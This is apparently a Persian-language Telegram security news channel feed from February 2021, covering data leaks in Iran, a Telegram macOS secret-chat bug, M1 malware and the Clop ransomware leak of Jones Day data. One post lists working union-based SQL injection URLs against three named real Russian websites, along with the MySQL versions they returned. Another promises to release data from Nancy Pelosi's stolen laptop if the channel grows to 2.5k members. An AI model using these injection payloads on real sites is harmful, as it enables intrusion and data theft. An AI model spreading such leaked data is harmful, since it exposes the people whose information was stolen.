Security alert

2021-02-22 00:54:58
نشت اطلاعاتی و افتضاحی دیگر !

اینبار اطلاعات 18 هزار دانشجوی دانشگاه علوم پزشکی تهران در دست فروش!

فروشنده فعلا دیتایی جهت تأیید صحت اطلاعات دیتایی ارسال نکرده است.
@Alert_Security Open / Comment

2021-02-20 21:39:49
نشت اطلاعاتی اینبار از سامانه قوه قضائیه!!

گویا دیتا ها حاوی بیش از ۲۵ میلیون خط، نام و نام خانوادگی، نام پدر، جنسیت، کد ملی، آدرس ایمیل، شماره تلفن ثابت، شماره تلفن همراه، آدرس، کد پستی و ...
از کاربران سامانه ابلاغ الکترونیک قضایی (adliran.ir) لیک شده!


@Alert_Security Open / Comment

2021-02-20 20:23:44

گفته می شود اطلاعات حساس مربوط به وزرات دفاع و نیرو های مسلح ایران، به صورت آنلاین درحال فروش است!!!!

هنوز صحت این اطلاعات و فروش تایید نشده است!


@Alert_Security Open / Comment

2021-02-20 12:45:35
کشف باگ امنیتی در تلگرام!

همانطور که می دانید تلگرام از اقدامات امنیتی و حریم خصوصی مختلفی برخوردار است. طبق گفته تلگرام، موقع استارت چت سکرت، وقتی شخصی پیامی را میبیند و 2 تیک میخورد، بعد از تمام شدن زمان، پیام از هردو دستگاه حذف می شود.

تلگرامی که بیش از 500 میلیون فالور دارد، یک مشکل امنیتی در MacOS دارد، .وقتی عکس یا وویسی در سکرت چت فرستاده میشود در یک مسیر سفارشی دخیره می کند و حتی بعد از حذف پیام از هردوطرف باز این محتواها حذف نمی شوند

مشاهده ویدیو

همانطور که در ویدیو میبینید، مسیر (/ var / folders / x7 / khjtxvbn0lzgjyy9xzc18z100000gn / T /) بود. هنگام انجام همان کار تحت گزینه چت مخفی ، URI MediaResourceData (path: //) فاش نشد اما پیام صوتی یا تصویری ضبط شده همچنان در مسیر فوق ذخیره می شود.

@Alert_Security Open / Comment

2021-02-19 17:09:22
Be Aware!!

https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/

@Alert_Security Open / Comment

2021-02-18 20:30:24 اولین بدافزار طراحی شده برای تراشه Apple M1 کشف شد

یکی از اولین نمونه های بدافزار که به طور طبیعی بر روی تراشه های M1 اپل اجرا می شود ، کشف شده است و نشان دهنده پیشرفت جدیدی است که هکر ها شروع به نوشتن نرم افزار مخرب برای هدف قرار دادن آخرین نسل Mac های شرکت اپل هستند.

به گفته محقق امنیتی macOS ، در حالی که انتقال به سیلیکون اپل توسعه دهندگان را مجبور به ساخت نسخه های جدیدی از برنامه های خود برای اطمینان از عملکرد و سازگاری بهتر کرده است ، به گفته محقق امنیتی macOS ، برنامه نویس های بدافزار اکنون اقدامات مشابهی را برای ساخت بدافزارهایی انجام می دهند که قابلیت اجرا روی سیستم های جدید M1 اپل را دارند.

در حالی که تراشه M1موجود در Mac های جدید می توانند با کمک یک مترجم باینری دینامیک به نام Rosetta ، نرم افزار x86 را اجرا کنند ، اما مزایای پشتیبانی نه تنها به معنای بهبود کارایی بلکه باعث افزایش حملات احتمالی نیز می شود‌.

@Alert_Security Open / Comment

2021-02-18 14:47:22 http://www.creasol.ru/print.php?id=0+union+select+1,null,3,version(),null,6,7
Type: Union-based
DBMS: MySQL 5.7.28

--------------------------------------------------------------------
http://skeppshult.ru/art.php?id=0+union+select+1,2,version(),null
Type: Union-based
DBMS: MySQL 5.1.73

--------------------------------------------------------------------
https://library.orientmuseum.ru/book.php?id='+union+select+1,version(),3,4,5,null,null--+
Type: Union-based
DBMS: MySQL 5.7.33
--------------------------------------------------------------------
@Alert_Security Open / Comment

2021-02-18 10:12:14 گروهی از مجرمان سایبری معروف به عملیات باج افزار Clop ، اطلاعات سرقت شده از شرکت حقوقی مستقر در ایالات متحده ، Jones Dayرا در دارک وب فاش کردند.

شرکت Jones day یک شرکت حقوقی مشهور آمریکایی است. این دهمین شرکت بزرگ ایالات متحده از نظر درآمد ناخالص است. برخی از مشتریان آن شامل JPMorgan Chase & Co. ، Procter & Gamble Co. ، Alphabet Inc.’s Google ، Walmart Inc. و McDonald’s هستند.

وبسایت Databreaches.net که برای اولین بار از این حادثه خبر داد ، ادعا می کند که این گروه پس از امتناع Jones day از پاسخگویی به باج خواهی آنها ، شروع به درز اطلاعات کرد.

سخنگوی روزنامه Jones Day ادعا می کند که این گروه برای دسترسی به سرورها, پلت فرم انتقال فایل Accellion FTA را به خطر انداخته و به شبکه نفوذ نکرده اند.

با این حال ، وال استریت ژورنال گزارش داد که هکرها ادعا کرده اند که مستقیماً به سرورهای Jones Day دسترسی پیدا کرده اند.

در حالی که هکرها به Databreaches.net گفتند که آنها یکی از سرورهای مرتبط با Accellion را هک کرده و داده ها را گرفتند و سیستم های دیگر را نیز هدف قرار دادند.

حجم این دیتاها نزدیک به ۱۰۰ گیگ می باشد. این داده ها شامل ایمیل ها و اسناد قانونی است که ممکن هست برخی از آنها محرمانه باشد. برخی از دیتا ها مربوط به ژانویه 2021 است ، در حالی که بیشتر آنها قدیمی است.

@Alert_Security Open / Comment

2021-02-18 10:11:20
نشست اطلاعات شرکت Jones Day توسط باج افزار Clop در دارک وب.

@Alert_Security Open / Comment

2021-02-17 16:10:53
طبق اخبار منتشر شده، دیتای لپتاپ مربوط به نانسی پلوسی،سخنگوی سابق امریکا، در اختیار افرادی قرار گرفته است.

روز جمعه یکی از دستیاران نانسی پلوسی گفت که لپ تاپ از دفتر سخنگوی مجلس نمایندگان ایالات متحده نانسی پلوسی در هنگام اغتشاش در پایتخت آمریکا دزدیده شد.

لینک خبر

درو همیل ، دستیار دموکرات پلوسی ، در توییتر خود گفت که این لپ تاپ متعلق به یک اتاق کنفرانس است و برای سخنرانی استفاده می شود. وی از ارائه جزئیات بیشتر خودداری کرد.

درصورت فورواد پست های کانال، و افزایش اعضا به 2.5k این دیتا در کانال قرارداده خواهد شد.

@Alert_Security Open / Comment